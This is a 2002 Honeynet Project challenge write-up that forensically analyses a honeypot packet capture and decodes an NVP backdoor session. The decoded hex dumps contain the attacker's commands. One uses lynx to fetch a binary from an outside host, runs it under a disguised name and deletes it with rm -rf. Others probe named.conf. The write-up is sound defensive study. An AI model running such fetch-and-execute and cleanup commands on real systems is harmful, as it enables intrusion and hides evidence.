Honeynet Project Scan of the Month 22: August 2002

Dan Macdonald
h o n e y n e t (at) l e v e l x (dot) b i z
www.levelx.biz


The Challenge:

After penetrating the Linux system using the WU-FTPD vulnerability, the attacker deployed a backdoor binary and then proceeded to use the system for certain nefarious activity. Your mission, should you choose to accept it, is to determine what the activity was and how it was accomplished. All the necessary evidence is contained in the snort binary capture file. The IP address of the honeypot is 172.16.183.2. Using the snort binary capture answer the following questions. Send all submissions to sotm@honeynet.org Points will be given for answer correctness, depth of analysis and creativity as well. Please, make sure to support the conclusions you reach with available facts. Do check previous challenges (especially top entries) to get an idea of the "ideal write-up".

Analysis:

First we need to download the capture:
$ wget http://project.honeynet.org/scans/scan22/snort-0718@1401.log.gz
--11:09:50--  http://project.honeynet.org/scans/scan22/snort-0718@1401.log.gz
           => `snort-0718%401401.log.gz'
Resolving project.honeynet.org... done.
Connecting to project.honeynet.org[63.107.222.112]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 431,274 [application/x-gzip]

100%[====================================>] 431,274      128.33K/s    ETA 00:00

11:09:54 (128.33 KB/s) - `snort-0718%401401.log.gz' saved [431274/431274]
You might notice the %40 alternate representation for the '@' in the filename. Next we need to verify the file:
$ md5sum snort-0718%401401.log.gz 
6d0056c385f4d312f731d9506e217314  snort-0718%401401.log.gz
This matches what is advertised on the Honeynet website, so the capture is valid.

Next we unzip the capture:
$ gzip -dv snort-0718%401401.log.gz 
snort-0718%401401.log.gz:        85.9% -- replaced with snort-0718%401401.log
Now it's time to get down to work. First we need to do a cursory exam of the capture to get a handle on the overall traffic patterns relating to the target the attack (172.16.183.2, hereafter refered to as 'target'). Much of this will turn out to be irrelevant, but it's good to be aware of ancillary traffic in case your focus on a particular stream needs to be widened to another:
$ /usr/sbin/tcpdump -r snort-0718%401401.log host 172.16.183.2 | nl
Full output is here.

Here is a list of the traffic flows contained in the capture:
1> Several Pings from target to 10.10.10.10 with responses, all with invalid checksums. May or may not be relevant
2> IP Type 11 (NVP) traffic consisting of several packets directed at target, most traffic from target to many IP addresses. Most traffic originating from target is likely to be decoy packets given the nature of the traffic flow. This is supported by the analysis in the Reverse Challenge which states that 9 decoy packets will be sent along with each legitimate packet sent to the attacker. This stream continues long enough that it is intermingled with some of the following streams as well. Definately relevant.
3> An FTP attempt from AOrleans-102-1-2-201.abo.wanadoo.fr (80.14.184.201). Probably not relevant as we find out later that this stream contains only one anonymous login attempt that is refused.
4> Connection to the sunrpc portmapper service from 3D72F7E5.osaka.meta.ne.jp. This is likely portscan-type activity since a RST is sent from the ne.jp host immediately after the SYN-SYNACK-ACK handshake was completed. Unlikely to be relevant.
5> A lengthy conversation with 11.11.11.11 on port 8882, all with bad checksums. Later investigation shows that this is a webserver on a non-standard port (8882) and that this conversation was a request for a single file 'foo' from 216.242.103.2:8882 via a proxy at 11.11.11.11 (likely forged). Very likely relevant.
6> Several lengthy http conversations with cluster[abc].icq.com. Unknown relevance at this point.
7> Multiple simultaneous FTP attempts from dom11-246.menta.net (62.57.114.246). Since the menta host did not transmit any packets after the 3-way handshake, no communication was attempted. This would indicitive of portscan like activity and is unlikely to be relevant.

Next is a tcpflow run against the capture to break the contents of each stream into a seperate file for easier viewing. This will allow us to more easily investigate the content of each of the TCP flows:
$ mkdir tcpflows
$ cd tcpflows
$ tcpflow -r ../snort-0718%401401.log
For some reason, tcpflow inserted a few hundred megabytes of nulls into a couple of the flow files. Obviously if this were more than an exercise, this would have to be corrected or another utility used. Since this is only an exercise, the flow files minus these couple files are available here.

The files 080.014.184.201.01854-172.016.183.002.00021 and 172.016.183.002.00021-080.014.184.201.01854 show the contents of the flows from the wannadoo host to the target and vice versa respectively:
$ cat 080.014.184.201.01854-172.016.183.002.00021 
USER anonymous
PASS Pgpuser@home.com

$ cat 172.016.183.002.00021-080.014.184.201.01854 
220 serv1 FTP server (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready.
331 Guest login ok, send your complete e-mail address as password.
530 Login incorrect.
221 You could at least say goodbye.
This shows an anonymous login was attempted with the given email of Pgpuser@home.com and refused by target. We can ignore this (at least for now).

The file 172.016.183.002.01025-011.011.011.011.08882 shows the request given to host 11.11.11.11 as noted in flow 5 above:
$ cat 172.016.183.002.01025-011.011.011.011.08882
GET /foo HTTP/1.0
Host: 216.242.103.2:8882
Accept: text/html, text/plain, audio/mod, image/*, video/*, video/mpeg, application/pgp, application/pgp, application/pdf, message/partial, message/external-body, application/postscript, x-be2, application/andrew-inset, text/richtext, text/enriched
Accept: x-sun-attachment, audio-file, postscript-file, default, mail-file, sun-deskset-message, application/x-metamail-patch, text/sgml, */*;q=0.01
Accept-Encoding: gzip, compress
Accept-Language: en
User-Agent: Lynx/2.8.3dev.18 libwww-FM/2.14
This shows that port 8882 on host 11.11.11.11 is running a webserver or proxy of some sort. A request was made retrieve file 'foo' from host 216.242.103.2 on port 8882. The reported agent is Lynx, which is probably valid. File 011.011.011.011.08882-172.016.183.002.01025 contains the response headers and the file returned and has been omitted for brevity. The IP address 11.11.11.11 is registered to the US DoD, so is likely to be forged or compromised (barring any conspiracy theories of course... (-: ). While it is possible that the DoD does have a box on 11.11.11.11 that has been compromised, the address itself pretty well screams forgery as well. A grep against all the flow files generated by tcpflow shows that IP address also occurs within the stream containing the file 'foo' as requested in this stream:
$ grep 216.242.103.2 *
Binary file 011.011.011.011.08882-172.016.183.002.01025 matches
172.016.183.002.01025-011.011.011.011.08882:Host: 216.242.103.2:8882
This means that that IP address is likely to be hardcoded into 'foo' and can easily be confirmed by examining the headers at the top of the stream:
$ head 011.011.011.011.08882-172.016.183.002.01025
HTTP/1.1 200 OK
Server: Foobarcatdog1
Content-type: text/x-csrc
Content-length: 215464
Accept-Ranges: bytes

<< binary stream omitted >>
Since the IP doesn't fall in the headers, it is safe to say it is in the binary download. (This is confirmed later by running 'strings' on the stream.) This indicates that the box at 216.242.103.2 is not only a distribution point for the software, but the software will probably use that box as part of its activity, perhaps to report results, or maybe as the only box that the software will respond to. Regardless, the box is likely compromised.

The 6th group of flows are a sequential series of ICQ member number lookups against the ICQ member server cluster starting at ICQ# 9207100 and ending at 9207199. Since ICQ generates a rudimentary user profile page for each user, it is trivial to mine information about thier users by simply generating a series of HTTP requests against their member servers. A sample request is as follows:
$ cat 172.016.183.002.01125-205.188.248.089.00080 
GET /wwp?Uin=9207199 HTTP/1.0
Host: web.icq.com

GET /wwp?Uin=9207199 HTTP/1.0
Host: web.icq.com
Given this, it seems that a fair working theory would be that the attacker compromised the system as mentioned via the aforementioned WU-FTPd vulnerability, installed the NVP backdoor, then downloaded 'foo' which was a utility designed to gather information about and/or attack ICQ accounts. To confirm this, we must retrace the attackers steps. The particular stream we are given does not contain the WU-FTPd exploit, but we are given that as part of the problem, leaving the first traffic of interest as the NVP traffic starting with packet 7 in our capture.

Since we know the NVP backdoor is the one used, searching for information on it would be prudent. This information was a given part of the challenge, however it would probably not take long on the search engines to pinpoint information on the tool given the uniqueness of the traffic involved. This tool was the subject of the reverse engineering challenge earlier this year, so ample information is available on the Honeynet Project Website. This information shows that the traffic involved with this backdoor utility is encoded and includes a decoder that the Honeynet team wrote as part of their analysis of the backdoor (also linked to as part of the current challenge). This utility will read a tcpdump encoded stream such as the one provided and parse for all NVP traffic and attempt to decode it, ignoring all other traffic types. A download of the decoder and a parse through the packet capture would be the next logical step:
$ wget http://www.honeynet.org/scans/scan22/decoder
--11:45:40--  http://www.honeynet.org/scans/scan22/decoder
           => `decoder'
Resolving www.honeynet.org... done.
Connecting to www.honeynet.org[63.107.222.112]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 110,840 [text/plain]

100%[====================================>] 110,840      172.91K/s    ETA 00:00

11:45:41 (172.91 KB/s) - `decoder' saved [110840/110840]

$ chmod u+x decoder
$ ./decoder -p snort-0718%401401.log
The -p option tells the decoder that this is a pcap stream, not a single packet, so that it will parse the entire file. Although we will basically step through the decode next, full results from the decode are here. A tcpdump listing of the nvp headers is here for cross-referencing purposes.

Starting at the beginning of the stream, we see the following:
reading packet....
reading packet....
reading packet....
reading packet....
reading packet....
reading packet....
reading packet....
packet length 422. a601
command 2.
starting decode of packet size 420
17 30 48 2A EE 95 DE F5 0C 23 3A 51 68 7F 96 AD 
local buf of size 420
00 02 01 CB AD 90 32 00 00 00 00 00 00 00 00 00  ......2.........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 24 EB FF BF 2C 13 05 08  ........$...,...
1C EB FF BF 52 EE 06 08 00 00 00 00 60 EB FF BF  ....R.......`...
24 F1 FF BF E4 EB FF BF 0A 00 00 00 75 00 00 00  $...........u...
00 00 00 00 00 00 00 00 FF 00 00 00 B4 E9 FF BF  ................
00 00 00 00 88 84 07 08 00 00 00 00 00 00 00 00  ................
32 00 00 00 00 10 00 00 00 00 00 00 22 00 00 00  2..........."...
FF FF FF FF 00 10 00 00 00 00 00 00 FF FF FF FF  ................
0F 00 00 00 04 00 00 00 6A B4 06 08 F4 EB FF BF  ........j.......
B6 E9 FF BF 00 00 00 00 2E 00 00 00 C0 EB FF BF  ................
51 DC 04 08 60 EB FF BF 5F B4 06 08 E4 EB FF BF  Q...`..._.......
00 00 00 00 60 EB FF BF 24 F1 FF BF 00 00 00 00  ....`...$.......
00 00 00 00 60 EB FF BF 00 00 00 00 00 00 00 00  ....`...........
28 1D 0A 08 20 4E 09 08 01 00 AD FB 32 F1 FF BF  (... N......2...
07 00 00 00 8C EB FF BF 66 82 06 08 01 00 00 00  ........f.......
00 00 00 40 07 00 00 00 18 13 07 08 07 00 00 00  ...@............
20 4E 09 08 AC EB FF BF 3B 7D 06 08 18 13 07 08   N......;}......
00 00 00 40 07 00 00 00 18 13 07 08 FF FF FF FF  ...@............
B6 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9 E9  ................
E9 E9 E9 E9 00 00 00 00 00 00 00 00 00 00 00 00  ................
The first 6 'reading packet....' lines indicate that packets that were not NVP packets were read out of the file and ignored. If you look at the headers from the raw stream you will see that these correspond to the 6 ICMP packets at the head of the capture. The 7th is the first NVP packet. At first it looks like gibberish, but with the help of Dion Mendel's analysis from the reverse challenge we can see that this is an initialization packet for a backdoor session. This packets first 7 bytes are 00 02 01 CB AD 90 32. 00 is not used by the backdoor, 02 sets that it is an initialization packet, 01 sets that this packet contains the IP address of the controlling handler, and CB AD 90 32 is the actual IP address (203.173.144.50 or p50-tnt7.syd.ihug.com.au). You will note in the main stream that traffic never actually arrives from this address. This is because all traffic to the backdoor is spoofed, and all traffic returning to the attacker is disguised with a flurry of spoofed IP addresses as well.

As we can see from the first packet, most of the payload of the packet is padding, so all future packets will be trimmed to relevant payload. The next packet in the decode is as follows:
reading packet....
packet length 422. a601
command 2.
starting decode of packet size 420
17 31 AF 38 B4 3B 72 B6 36 6D A6 37 BD 42 BE F7 
local buf of size 420
00 03 67 72 65 70 20 2D 69 20 22 7A 6F 6E 65 22  ..grep -i "zone"
20 2F 65 74 63 2F 6E 61 6D 65 64 2E 63 6F 6E 66   /etc/named.conf
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

This is a command packet, instructing the backdoor to pass the enclosed string to csh and return the results. In this case the attacker is trying to find all zones defined in the named.conf file. Packet 3:
reading packet....
packet length 532. 1402
command 3.
starting decode of packet size 530
7E 98 29 AF 34 B0 E7 20 65 9E D5 67 88 19 9F 24 
local buf of size 532
67 03 7A 6F 6E 65 20 22 2E 22 20 7B 0A 7A 6F 6E  g.zone "." {.zon
65 20 22 30 2E 30 2E 31 32 37 2E 69 6E 2D 61 64  e "0.0.127.in-ad
64 72 2E 61 72 70 61 22 20 7B 0A 00 63 6F 6E 66  dr.arpa" {..conf
22 20 31 3E 20 2F 74 6D 70 2F 2E 68 6A 32 33 37  " 1> /tmp/.hj237
33 34 39 20 32 3E 26 31 00 98 AF C6 DD F4 0B 22  349 2>&1......."
This packet's second byte is 03, which means it contains the result of the previous command. This happens to be a 'bait packet' in that it is not addressed to the actual controller, but the contents are the same for all the bait packets and the actual response packet. Packet 6 in the stream is the actual response. Everything up until the null (00) in line 3 is part of the response, everything after that is padding. Interestingly enough, part of the padding includes the filename that the backdoor uses as a temp file to set up the shell call. Since the next several packets are identical other than bait addresses, the next packet of interest is packet 12:
reading packet....
packet length 483. e301
command 3.
starting decode of packet size 481
7E 99 B0 36 BB 37 6E A7 EC 25 5C EE 0F A0 26 AB 
local buf of size 484
67 04 00 6F 6E 65 20 22 2E 22 20 7B 0A 7A 6F 6E  g..one "." {.zon
65 20 22 30 2E 30 2E 31 32 37 2E 69 6E 2D 61 64  e "0.0.127.in-ad
64 72 2E 61 72 70 61 22 20 7B 0A 00 63 6F 6E 66  dr.arpa" {..conf

This packet has a second byte of 04, which means that this is a continuation of the output of the command issued in packet 2. This is likely a sentinel to signify the end of output from the command. Once again this part of a flurry of bait packets and the real traffic is in packet 15. We now have a several hour delay until the next NVP packet, which is as follows:
reading packet....
packet length 422. a601
command 2.
starting decode of packet size 420
17 35 B7 37 BA 3D B5 38 BB F2 36 86 BD 48 D3 5D 
local buf of size 420
00 07 6B 69 6C 6C 61 6C 6C 20 2D 39 20 74 74 73  ..killall -9 tts
65 72 76 65 00 00 00 00 00 00 00 00 00 00 00 00  erve............
This packet has 07 as it's second byte, which means the packet contains a command which should be run without returning the results. The attacker is attempting to kill ttserve. The next packet is identical so we will move on to this packet:
reading packet....
packet length 422. a601
command 2.
starting decode of packet size 420
17 35 B7 37 BA 3D B5 38 BB F2 36 86 BD 48 D3 5D 
local buf of size 420
00 07 6B 69 6C 6C 61 6C 6C 20 2D 39 20 74 74 73  ..killall -9 tts
65 72 76 65 20 3B 20 6C 79 6E 78 20 2D 73 6F 75  erve ; lynx -sou
72 63 65 20 68 74 74 70 3A 2F 2F 32 31 36 2E 32  rce http://216.2
34 32 2E 31 30 33 2E 32 3A 38 38 38 32 2F 66 6F  42.103.2:8882/fo
6F 20 3E 20 2F 74 6D 70 2F 74 74 73 65 72 76 65  o > /tmp/ttserve
20 3B 20 63 68 6D 6F 64 20 37 35 35 20 2F 74 6D   ; chmod 755 /tm
70 2F 74 74 73 65 72 76 65 20 3B 20 63 64 20 2F  p/ttserve ; cd /
74 6D 70 20 3B 20 2E 2F 74 74 73 65 72 76 65 20  tmp ; ./ttserve 
3B 20 72 6D 20 2D 72 66 20 2F 74 6D 70 2F 74 74  ; rm -rf /tmp/tt
73 65 72 76 65 20 2E 2F 74 74 73 65 72 76 65 20  serve ./ttserve 
3B 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ;...............
Once again, this is a command without returning results. This has a little more substance to it, trying once again to make sure that ttserve is dead. Then it uses lynx to download foo from 216.242.103.2 port 8882, save it to /tmp/ttserve get the trojan started and then delete the evidence. Other than the fact that Snort captured this web stream as being with 11.11.11.11, so far this is consistent with our preliminary roadmap outlined from the tcp flows. After reviewing the capture I could find no evidence of DNS poisoning or other foul play, so I am wondering if this is due to an administrative ommission. Anyway, after another delay, we have our next NVP packet:
reading packet....
packet length 422. a601
command 2.
starting decode of packet size 420
17 35 B7 37 BA 3D B5 38 BB F2 36 86 BD 40 D0 55 
local buf of size 420
00 07 6B 69 6C 6C 61 6C 6C 20 2D 39 20 6C 79 6E  ..killall -9 lyn
78 20 3B 20 72 6D 20 2D 72 66 20 2F 74 6D 70 2F  x ; rm -rf /tmp/
74 74 73 65 72 76 65 3B 00 00 00 00 00 00 00 00  ttserve;........
After about 5 minutes of delay, we get another command with no transmitted response, which kills all lynx processes and removes the file the attacker was attempting to download. This might be the result of the attacker getting impatient, but more likely it is a blind attempt to make sure that the evidence gets cleaned up even if the download hangs, especially since the traffic streams against ICQ begin shortly after the lynx download ends. This command is issued 3 times approx 57 seconds apart to finish out the stream of NVP traffic.

Now that we have witnessed the initiation of a download of a file named 'foo' and the attempted installation a process from that file, did it really cause the traffic against ICQ? Probably, since the download stream ended and the ICQ traffic streams began within 10 seconds of each other. As mentioned above, examining each of the ICQ streams broken out by tcpflows demonstrates a sequential brute force search of the ICQ# space for information.

So it appears that our initial roadmap for this incident is correct with TCP flows earlier identified as 3, 4 and 7 being extraneous clutter.

Questions:

1> What is the attacker's IP address?
The attacker's used 203.173.144.50 (p50-tnt7.syd.ihug.com.au) to control the NVP backdoor. This is found by decoding the first NVP packet. The attacker also used a host at 216.242.103.2 for a file repository and this host was implicated for other use by being hardcoded into the file downloaded during the attack.

2> What is the attacker doing first? What do you think is his/her motivation for doing this?
The first thing the attacker is doing on the NVP session is searching for zone definitions in the named configuration. This is a rather odd behavior given the behavior that followed since the information gleaned from it was never used (or the attacker didn't find what they were looking for). Maybe it was a recon for a possible later site hijacking, but a simple whois lookup would be more useful. Maybe the attacker discovered that this box was on a private network and was hoping to find a zone file for the internal structure of the network. Maybe the attacker was doing reconnaisance against the box in hopes of turning the DNS flood attack feature of the NVP backdoor against a local machine rather than a remote one so that he could try it out without attracting attention. Maybe the attacker was checking for a honeypot to make sure that ICQ wasn't redirected elsewhere locally since ICQ is often a target for attacks of this sort. I think the last is the most likely of the scenarios, although there are probably several others as well.

3> Why there is some readable text in packets #17-#25 (and some others), but not in packets #15-#16 (and several others)? What differentiates these groups of packets from each other?
Some packets contain readable text in them, both before and after decode. These readable strings all appear to happen in the padding part of the payload. It appears to me that the author of the NVP backdoor did not take the time to encode the padding that is transmitted along with the payload. This may be sloppiness or a design choice to lure people away from the encoded part of the payload. Regardless, due to the recurrence of these strings in the padding, the padding appears to be taken from a specific location and is not randomly generated. (It may possibly be taken from the text of the executable itself given the occurance of the string '/tmp/.hj237349' which happens to be the filename of the temp file that is used to assist with the execution of remote commands.)

4> What is the purpose of 'foo'? Can you provide more insights about the internal workings of 'foo'? Do you think that 'foo' was coded by a good programmer or by an amateur?
Foo is designed to query the public ICQ user account servers via a web interface to gather information about ICQ accounts. A quick 'strings' run reveals that It appears to be statically linked with libc.5.3.12, compiled with gcc 2.72, has the strings necessary to query the ICQ servers hardcoded as well as the address 216.242.103.2. I did not notice very many other strings that did not relate to the libc file in the stream. Nothing was passed into the executable at run time, so the starting ICQ number is either hardcoded or chosen at random. Due to the number of hardcoded strings, it looks to me as if this code was written quickly for a specific purpose without regard for flexibility. This would be a tendency of an amateur coder; write what you need as quickly as possible and use it immediately.

5>What is the purpose of './ttserve ; rm -rf /tmp/ttserve' as done by the attacker?
This command is to start 'foo' under an unassuming name, then remove the evidence that it was there. The name 'ttserve' is probably an attempt to make it look innocuous, maybe like a ToolTalk server.

6>How do you think the attacker will use the results of his activity involving 'foo'?
The purpose of 'foo' appears to be to gather information about a sequential range of ICQ numbers. The reasoning for this could be any number of things which require a list of valid ICQ numbers. Given the amount of SPAM advertisements that are delivered via ICQ messages, this could be a very likely reason, however it could also be to brute force passwords or social engineer users or any number of other possibilities.

Bonus Question:
7> If you administer a network, would you have caught such NVP backdoor communication? If yes, how? If you do not administer a network, what do you think is the best way to prevent such communication from happening and/or detect it?

The networks I look after would not have detected such traffic, but would not have allowed it to transit the network either. Best practices says to deny everything that you do not explicitly need, so this would have been dropped since it isn't specific IP, UDP, or ICMP traffic that is required on my networks. However, IDS also would not have been configured to look for this traffic either. In the future, IDS can be configured to trigger on any traffic that is not one of the IP protocols used by the network (generally TCP, UDP or ICMP, but may include routing protocols or others). Also, writing firewall rules such that unnecessary IP protocols trigger seperate counters so that it is easier to distinguish among other traffic flotsam that often occurs on production network. Certainly looking directly for IP type 11 traffic directly would detect this occurance, but then any backdoor using any of the other unused IP protocols would elude detection, which would pretty much be making the same mistake again.